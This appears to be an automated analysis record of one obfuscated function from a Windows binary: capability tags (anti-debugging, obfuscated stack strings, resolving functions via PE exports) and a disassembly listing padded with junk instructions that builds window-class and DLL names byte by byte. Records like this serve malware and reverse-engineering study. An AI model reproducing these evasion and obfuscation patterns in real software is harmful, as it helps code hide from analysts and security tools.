Function at 0x1040af1
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov byte [esp + 0x4d7], 0x5f
jmp 0x105cb0e
push eax
cbw
push ecx
sete ah
mov eax, 0x1424
jmp 0x774331
mov byte [esp + 0x448], 0x58
mov byte [esp + 0x449], 0x5d
rol dl, 0x54
mov byte [esp + 0x44a], bl
mov byte [esp + 0x4b0], 0x5b
add si, sp
mov byte [esp + 0x4b1], cl
mov dl, 0x73
mov byte [esp + 0x4b2], 0x6e
bts si, bx
stc
mov byte [esp + 0x4b3], 0x68
mov byte [esp + 0x4b4], cl
add si, 0x2d73
cmc
mov byte [esp + 0x4b5], cl
cmovp esi, edi
mov byte [esp + 0x4b6], 0x6b
inc si
btc esi, 0x67
mov byte [esp + 0x4b7], 0x2e
mov byte [esp + 0x4b8], bl
mov byte [esp + 0x3dc], 0x2e
and esi, 0x75de1eeb
jmp 0xf9c8de
mov word [esp + 0x86e], si
mov word [esp + 0x870], si
mov esi, 0x20
mov word [esp + 0x872], si
btr si, 0x69
mov esi, 0x37
cmp ah, 0x60
mov word [esp + 0x874], si
mov esi, 0x33
clc
jmp loc.00426750
mov byte [esp + 0x41a], 0x45
mov byte [esp + 0x41b], 0x6e
and dl, dl
mov byte [esp + 0x41c], 0x67
sub si, bx
mov byte [esp + 0x41d], 0x69
mov byte [esp + 0x41e], 0x6e
xadd esi, esi
mov byte [esp + 0x41f], al
not dl
adc si, cx
mov byte [esp + 0x420], bl
shr dl, 0xb0
sar dl, 0xac
mov byte [esp + 0x63c], 0x54
mov byte [esp + 0x63d], 0x56
mov byte [esp + 0x63e], 0x61
mov byte [esp + 0x63f], 0x6c
sbb dl, 6
rcl dl, 0xd5
mov byte [esp + 0x640], 0x75
sal dl, cl
add esi, 0x49c42ca5
cmc
mov byte [esp + 0x641], al
sub esi, ecx
xor dl, dl
mov byte [esp + 0x642], 0x43
mov byte [esp + 0x643], 0x68
xor dl, cl
xor dl, 3
rcr dl, cl
mov byte [esp + 0x644], 0x61
mov byte [esp + 0x645], 0x6e
shr esi, 0xf
test dh, al
mov byte [esp + 0x646], 0x67
test esi, 0x43692498
mov byte [esp + 0x647], al
mov byte [esp + 0x648], 0x46
mov byte [esp + 0x649], cl
shr si, 0x99
mov byte [esp + 0x64a], 0x72
clc
movsx esi, ax
mov byte [esp + 0x64b], 0x6d
sal dl, 0xc3
or dl, 0x83
sub si, 0x5c16
mov byte [esp + 0x64c], bl
cmc
stc
mov byte [esp + 0x4f8], 0x72
mov byte [esp + 0x4f9], 0x61
mov byte [esp + 0x4fa], 0x70
sbb dl, bl
rcl dl, 0xe1
mov byte [esp + 0x4fb], 0x68
and dl, 0x37
mov byte [esp + 0x4fc], 0x20
rol dl, 0x46
mov byte [esp + 0x4fd], 0x2d
sar esi, 0x56
test di, 0x4a6a
mov byte [esp + 0x4fe], 0x20
mov byte [esp + 0x4ff], 0x5b
mov byte [esp + 0x500], bl
ror dl, cl
mov byte [esp + 0x444], 0x2e
add dl, 1
add dl, bl
mov byte [esp + 0x445], 0x53
mov byte [esp + 0x446], 0x50
mov dl, al
mov byte [esp + 0x447], 0x4b
jmp 0x69facc
call fcn.00474480
mov eax, dword [0x51f620]
xor eax, esp
xadd cl, dl
or dl, bl
mov dword [esp + 0x1420], eax
push ebx
dec ah
rcr cl, 0xb2
push esi
push edi
cmp esi, edx
shr al, 0x3e
mov eax, dword [0x51f620]
dec cl
xor eax, esp
xor cl, 0xfe
neg cl
push eax
inc esi
neg dl
lea eax, [esp + 0x1438]
mov dword fs:[0], eax
rcr cl, cl
xor ebx, ebx
jmp 0xf4cdac
mov cl, 0x6f
mov al, 0x6a
mov byte [esp + 0x38f], al
mov byte [esp + 0x4d6], al
adc si, di
inc si
mov byte [esp + 0x496], al
dec dl
sar dl, 0x17
mov al, 0x65
bsr si, dx
mov byte [esp + 0x38c], 0x5f
jmp 0x10843d9
mov word [esp + 0x85c], si
clc
sub esi, eax
rol si, 0x92
mov esi, 0x30
mov word [esp + 0x85e], si
mov esi, 0xf193383
movsx esi, sp
shl esi, 0xd9
mov esi, 0x20
clc
cmp di, dx
mov word [esp + 0x860], si
rcl si, 2
mov esi, 0x30
test esp, esi
mov word [esp + 0x862], si
stc
mov word [esp + 0x864], si
mov esi, 0x20
cmp ebp, 0x64455035
cmp ebp, ebp
mov word [esp + 0x866], si
mov esi, 0x36
mov word [esp + 0x868], si
mov esi, 0x46
mov word [esp + 0x86a], si
btr esi, 0x2d
mov esi, 0x20
mov word [esp + 0x86c], si
clc
mov esi, 0x30
stc
jmp 0x728789
mov byte [esp + 0x3dd], dl
mov byte [esp + 0x3de], al
bts si, bp
mov byte [esp + 0x3df], 0x72
and si, bx
inc si
mov byte [esp + 0x3e0], 0x5d
mov byte [esp + 0x3e1], bl
mov byte [esp + 0x33c], 0x23
bt si, dx
mov byte [esp + 0x33d], 0x33
mov byte [esp + 0x33e], 0x32
dec esi
mov byte [esp + 0x33f], 0x37
btr esi, 0x20
stc
shrd esi, ebx, 0xc2
mov byte [esp + 0x340], 0x37
and si, bp
cmp ecx, edi
bt si, 0xed
mov byte [esp + 0x341], 0x30
sub esi, 0x66de0741
mov byte [esp + 0x342], bl
mov byte [esp + 0x394], 0x43
xchg esi, esi
add esi, ecx
mov byte [esp + 0x395], cl
mov byte [esp + 0x396], 0x6d
rcl esi, 0x66
mov byte [esp + 0x397], 0x62
mov byte [esp + 0x398], cl
mov byte [esp + 0x399], 0x4c
clc
mov byte [esp + 0x39a], 0x42
mov byte [esp + 0x39b], cl
add si, 0x5b6
inc esi
mov byte [esp + 0x39c], 0x78
btc esi, edi
sbb si, sp
shrd esi, ebx, 0x9b
mov byte [esp + 0x39d], bl
shrd si, ax, 0xd2
mov byte [esp + 0x4bc], 0x70
mov byte [esp + 0x4bd], 0x63
mov byte [esp + 0x4be], 0x68
xor esi, ebx
movzx esi, cx
btr si, 0xf7
mov byte [esp + 0x4bf], 0x75
not si
mov byte [esp + 0x4c0], 0x6e
mov byte [esp + 0x4c1], 0x74
mov esi, ebx
cmc
mov byte [esp + 0x4c2], al
btr si, 0x28
mov byte [esp + 0x4c3], 0x72
neg si
mov byte [esp + 0x4c4], bl
add esi, edi
bsf si, cx
mov byte [esp + 0x4ec], 0x50
sal si, 0x8c
sbb si, dx
mov byte [esp + 0x4ed], 0x43
bt esi, 0x63
cmp edx, esp
mov byte [esp + 0x4ee], 0x48
or si, 0x52a
xchg si, si
mov byte [esp + 0x4ef], 0x75
rcl si, 0xdc
sub esi, ebx
mov byte [esp + 0x4f0], 0x6e
bts si, dx
mov byte [esp + 0x4f1], 0x74
add si, 0x437b
bt si, 8
cmc
mov byte [esp + 0x4f2], al
xor si, 0x2311
mov byte [esp + 0x4f3], 0x72
xadd si, si
mov si, 0x5479
movsx esi, ax
mov byte [esp + 0x4f4], bl
stc
mov byte [esp + 0x40c], 0x54
mov byte [esp + 0x40d], al
cmp bp, 0x10d8
mov byte [esp + 0x40e], dl
xchg si, si
mov byte [esp + 0x40f], 0x6c
mov byte [esp + 0x410], 0x61
mov byte [esp + 0x411], bl
ror si, 0xaa
cmc
mov byte [esp + 0x3c0], 0x54
mov byte [esp + 0x3c1], 0x68
bts esi, ebp
mov byte [esp + 0x3c2], 0x75
mov byte [esp + 0x3c3], 0x6e
ror esi, 0x1a
clc
mov byte [esp + 0x3c4], 0x64
cmp ecx, edi
mov byte [esp + 0x3c5], al
bts esi, eax
mov si, di
mov byte [esp + 0x3c6], 0x72
add esi, 0x6b9d3464
mov byte [esp + 0x3c7], 0x52
dec esi
bsr si, bp
mov byte [esp + 0x3c8], 0x54
test si, 0x1ea5
mov byte [esp + 0x3c9], 0x36
mov byte [esp + 0x3ca], 0x4d
xchg esi, esi
xor si, si
mov byte [esp + 0x3cb], 0x61
clc
neg esi
btc esi, 0xef
mov byte [esp + 0x3cc], 0x69
stc
adc si, 0xd95
mov byte [esp + 0x3cd], 0x6e
inc esi
sbb esi, eax
mov byte [esp + 0x3ce], bl
mov byte [esp + 0x49c], 0x54
bsr esi, ecx
mov byte [esp + 0x49d], 0x68
mov byte [esp + 0x49e], 0x75
stc
mov byte [esp + 0x49f], 0x6e
mov si, dx
mov byte [esp + 0x4a0], 0x64
sal esi, 0x5b
xadd si, si
mov byte [esp + 0x4a1], al
shld si, bx, 0x7b
rol si, 0xf6
sar esi, 0x8c
mov byte [esp + 0x4a2], 0x72
bsf esi, ecx
mov byte [esp + 0x4a3], 0x52
mov byte [esp + 0x4a4], 0x54
or si, di
mov byte [esp + 0x4a5], 0x36
mov byte [esp + 0x4a6], 0x46
mov byte [esp + 0x4a7], cl
not esi
mov byte [esp + 0x4a8], 0x72
test dh, 0xe
shrd esi, ecx, 0xab
mov byte [esp + 0x4a9], 0x6d
mov byte [esp + 0x4aa], 0x44
adc si, ax
rol esi, 0xd2
shl si, 0xfe
mov byte [esp + 0x4ab], 0x43
jmp 0xfe155e
mov byte [esp + 0x4ac], bl
sbb si, 0x3378
shld esi, eax, 0xb4
adc esi, esi
mov byte [esp + 0x45c], 0x56
mov byte [esp + 0x45d], 0x42
shr esi, 0x2a
rcr si, 0x29
mov byte [esp + 0x45e], 0x4d
movsx esi, ax
or esi, 0x3a9d6fe4
mov byte [esp + 0x45f], dl
btc esi, 0x6a
mov byte [esp + 0x460], cl
mov byte [esp + 0x461], 0x53
sal si, 0x9a
mov byte [esp + 0x462], 0x74
adc si, 0x569c
cmp ebp, ecx
mov byte [esp + 0x463], 0x64
shr esi, 0x4e
mov byte [esp + 0x464], 0x43
sal esi, 0x93
sbb esi, ecx
mov byte [esp + 0x465], cl
btc si, cx
cmc
mov byte [esp + 0x466], 0x6d
cmp al, 0xdd
dec si
mov byte [esp + 0x467], 0x70
mov byte [esp + 0x468], 0x4d
stc
mov byte [esp + 0x469], 0x67
rcr esi, 0x44
adc si, sp
mov byte [esp + 0x46a], 0x72
mov byte [esp + 0x46b], bl
mov byte [esp + 0x358], 0x4c
bts si, bx
and si, 0x17e8
btc esi, esi
mov byte [esp + 0x359], cl
adc si, bx
btc esi, 0xfc
btr esi, eax
mov byte [esp + 0x35a], 0x67
cmovge si, bx
or esi, esp
shld si, si, 0x9d
mov byte [esp + 0x35b], 0x69
xor esi, esi
or esi, 0x15517e7c
mov byte [esp + 0x35c], 0x6e
sub si, 0x7f2f
not si
mov byte [esp + 0x35d], 0x32
sub si, 0x12d5
mov si, ax
mov byte [esp + 0x35e], 0x37
mov byte [esp + 0x35f], 0x30
shl esi, 0x77
btc esi, 0xf4
mov byte [esp + 0x360], 0x2e
bt esi, ebp
xadd si, si
sub esi, 0x3107470f
mov byte [esp + 0x361], 0x44
mov byte [esp + 0x362], 0x4c
xchg si, si
sal esi, 0xea
cmc
mov byte [esp + 0x363], 0x4c
cmovs si, cx
mov byte [esp + 0x364], bl
and si, 0x4dcc
mov byte [esp + 0x34c], 0x48
xadd si, si
clc
shld si, cx, 0xef
mov byte [esp + 0x34d], al
sal esi, 0x41
shrd esi, esp, 0x35
mov byte [esp + 0x34e], 0x6c
cmp esi, ebx
mov byte [esp + 0x34f], 0x70
mov byte [esp + 0x350], al
mov byte [esp + 0x351], 0x72
mov byte [esp + 0x352], 0x2e
sar si, 0x41
not si
clc
mov byte [esp + 0x353], 0x64
test bp, 0x730b
mov esi, 0x179e6a99
mov byte [esp + 0x354], 0x6c
sub si, cx
stc
mov byte [esp + 0x355], 0x6c
mov byte [esp + 0x356], bl
sal si, 0xd4
btc si, 0x98
mov byte [esp + 0x2e4], dl
bt esi, edi
mov byte [esp + 0x2e5], dl
not si
shr si, 0xdd
mov byte [esp + 0x2e6], 0x2e
mov byte [esp + 0x2e7], 0x6d
mov byte [esp + 0x2e8], 0x70
xadd si, si
ror si, 0x21
bts si, sp
mov byte [esp + 0x2e9], 0x33
stc
xor si, dx
mov byte [esp + 0x2ea], bl
bts si, di
and esi, esi
mov byte [esp + 0x314], 0x70
not esi
mov byte [esp + 0x315], dl
sal si, 0xf0
inc esi
mov byte [esp + 0x316], 0x64
bts si, dx
mov byte [esp + 0x317], 0x2e
mov byte [esp + 0x318], 0x64
cmc
mov byte [esp + 0x319], 0x6c
cmc
test ah, 0x9d
mov byte [esp + 0x31a], 0x6c
cmp ch, 0x3d
mov byte [esp + 0x31b], bl
mov byte [esp + 0x304], 0x4f
or esi, ebp
mov byte [esp + 0x305], 0x43
bt si, sp
mov byte [esp + 0x306], 0x52
mov byte [esp + 0x307], 0x2e
mov byte [esp + 0x308], 0x64
bswap si
mov byte [esp + 0x309], 0x6c
btr esi, edx
mov byte [esp + 0x30a], 0x6c
mov byte [esp + 0x30b], bl
btc esi, 0x1c
movsx esi, sp
or esi, ebx
mov byte [esp + 0x2dc], dl
adc si, 0x6e99
inc esi
mov byte [esp + 0x2dd], dl
sbb si, 0x7192
movsx esi, cx
mov byte [esp + 0x2de], 0x2e
sbb si, si
mov byte [esp + 0x2df], 0x64
mov byte [esp + 0x2e0], 0x6c
sub esi, ecx
rcl si, 0xa8
mov byte [esp + 0x2e1], 0x6c
mov byte [esp + 0x2e2], bl
mov byte [esp + 0x3b0], 0x6d
test bl, 0x29
mov byte [esp + 0x3b1], 0x61
rcl esi, 0x9b
rol si, 0xc0
mov byte [esp + 0x3b2], 0x70
mov byte [esp + 0x3b3], dl
bsr esi, esp
btc esi, 0x41
mov byte [esp + 0x3b4], 0x5c
inc esi
mov esi, 0x35
jmp 0xf7e385
push ebp
sal ebp, 0xd4
mov ebp, esp
shl ax, cl
or ah, 0x78
and esp, 0xfffffff8
push 0xffffffffffffffff
movzx eax, ax
push 0x4e51d8
setp al
not ax
mov eax, dword fs:[0]
jmp 0x5b260c
mov byte [esp + 0x4d8], 0x66
bts esi, ebp
cmp ebp, esi
mov byte [esp + 0x4d9], cl
mov byte [esp + 0x4da], 0x72
mov byte [esp + 0x4db], 0x6d
and si, si
and dl, 0xfe
mov byte [esp + 0x4dc], bl
mov byte [esp + 0x494], cl
shl dl, 0xed
sal si, 0x5a
mov byte [esp + 0x495], 0x62
ror dl, 0x11
mov byte [esp + 0x497], 0x5f
rol esi, 0x9b
mov byte [esp + 0x498], 0x61
mov byte [esp + 0x499], 0x70
rcr dl, 0x59
mov byte [esp + 0x49a], 0x70
mov byte [esp + 0x49b], bl
test cx, di
mov byte [esp + 0x44c], 0x57
sal dl, 0x33
rcl dl, cl
mov byte [esp + 0x44d], 0x69
cmp dx, si
not si
mov byte [esp + 0x44e], 0x6e
mov byte [esp + 0x44f], 0x64
rcl si, 0xe5
xor esi, edx
sub esi, ecx
mov byte [esp + 0x450], cl
cmp edx, ebp
mov byte [esp + 0x451], 0x77
cmp si, bx
rol dl, cl
mov byte [esp + 0x452], bl
sbb dl, cl
cmp bp, 0x48df
mov byte [esp + 0x414], 0x43
mov byte [esp + 0x415], 0x68
btr esi, 0x69
rol dl, 0x60
mov byte [esp + 0x416], al
mov byte [esp + 0x417], 0x61
sal dl, 0xc9
mov byte [esp + 0x418], 0x74
mov byte [esp + 0x419], 0x20
sal dl, cl
bt esi, edi
jmp 0x73c478
mov byte [esp + 0x38d], cl
mov byte [esp + 0x38e], 0x62
mov si, ax
mov byte [esp + 0x390], bl
rcl dl, 0x68
mov byte [esp + 0x4d4], cl
mov byte [esp + 0x4d5], 0x62
jmp 0x566c8a